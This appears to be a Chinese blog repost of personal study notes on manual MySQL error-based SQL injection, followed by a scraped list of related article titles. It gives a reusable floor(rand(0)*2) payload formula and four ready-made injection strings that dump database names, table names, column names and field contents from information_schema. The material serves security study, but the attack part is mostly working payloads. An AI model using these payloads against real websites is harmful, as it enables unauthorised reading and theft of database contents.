基于错误的sql注入
mysql报错注入手工方法
以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。
总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。
公式具体如下
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。
注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。
但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式
搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:
汇总如下:
1、暴数据库:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、暴数据表:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
3、暴列名:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
4、暴字段:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了
参考文章:
http://www.jianshu.com/p/8c2343705100
https://www.waitalone.cn/mysql-error-based-injection.html
转载于:https://www.cnblogs.com/123xu/p/9009722.html
基于错误的sql注入相关推荐
- 基于PHPCMS的SQL注入(Havij)
本教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险. 目录 实验目的 实验环境 实验原理 实验步骤 第一步靶机操作 第二步渗透主机操作 实验总结 实验目的 通过本实验理解SQL注入基本 ...
- [ctf web]基于多线程的sql注入的fuzz测试过滤参数模板
import requests import threading import math def burp(threads,url): #把测试sql关键字传入text列表with open(r&qu ...
- SQL注入是什么?如何防止?
SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? SQL注入(SQLi)是一种 ...
- SQL注入漏洞入门(操作实现)
一 Sql-Inject的概述 SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句.它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器.攻击者可以使 ...
- SQL防注入大全——史上最全的 SQL 注入资料
什么是 SQL 注入速查表? SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源.这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份 ...
- 86.3 安全性问题 xss、DDOS、CC、sql注入 攻击等
主键id 暴露在url 中会暴露表的总量,而且如果监视一段时间主键,就能很低成本地得到这个网站的用户增量. Cookie中的信息是明文保存的,意味着攻击者可以通过猜测并伪造Cookie数据破解系统. ...
- 数据库SQL注入漏洞
第1关:获取dvwa环境 问题描述 搭建dvwa环境,包括1.搭建LAMP服务:2.部署dvwa服务:3.访问dvwa主页. 相关知识 安装appach 首先更新源 apt updat ...
- 如何防止SQL注入攻击?
SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? SQL注入(SQLi)是一种 ...
- mysql注入带外通道攻击_防止SQL注入攻击的方法
防止SQL注入攻击的方法 发布时间:2020-08-25 14:18:13 来源:亿速云 阅读:78 作者:小新 小编给大家分享一下防止SQL注入攻击的方法,相信大部分人都还不怎么了解,因此分享这篇文 ...
最新文章
- 【学习笔记】树形结构基础
- java drawimage 参数_小程序中canvas的drawImage方法参数使用详解
- go linux 源码编译环境,修改并编译golang源码
- java clock计时_Java Clock类| offset()方法与示例
- 用SQL语句创建Access表
- 《天天数学》连载02:一月二日
- Java知多少(79)哈希表及其应用
- 2021年老杨通信工程师中级互联网技术视频讲解
- 报错解决——Failed to load resource: the server responded with a status of 404 (Not Found)
- 网站的服务器什么意思,网站服务器站点是什么意思
- 中兴oltc320用户手册_中兴OLT常用命令
- Ps-制作二级页面总结
- Python环境搭建指南
- 软件机器人实现一键报税,即使没有开发接口,纳税申报也照样方便、快捷
- 《如何启动黄金圈思维》苹果和微软都在用的“思维模型”
- cat3速度 rj45_常用RJ45网线的规格及型号总结
- ZJU PAT的一些代码
- RAC环境中部署OGG,并使用集群管理OGG资源
- 低潮是人生最佳升值期
- 听雨小筑---开张纪念
热门文章
- c语言教程苏小红,《数据结构(C语言)》苏小红 课本案例
- php支付回调怎么写_php 微信支付回调校验的两种做法
- 软件技术论坛_新一代三维GIS软件技术论坛在南宁召开
- python 读取日志文件_如何在Python中跟踪日志文件?
- python内置哪些装饰器_Python内置的wraps装饰器有什么用
- python离散变量_python – 当涉及离散变量时,pymc3与pymc2的困难
- android 查找所有dialog_android 布局文件layout分组的简单使用
- Java中GUI中菜单栏
- python 近期用到的基础知识汇总(四)
- 【Deep Learning 三】神经网络中的非线性激活函数之间的优缺点:sigmoid、tanh、ReLu、Leaky ReLu...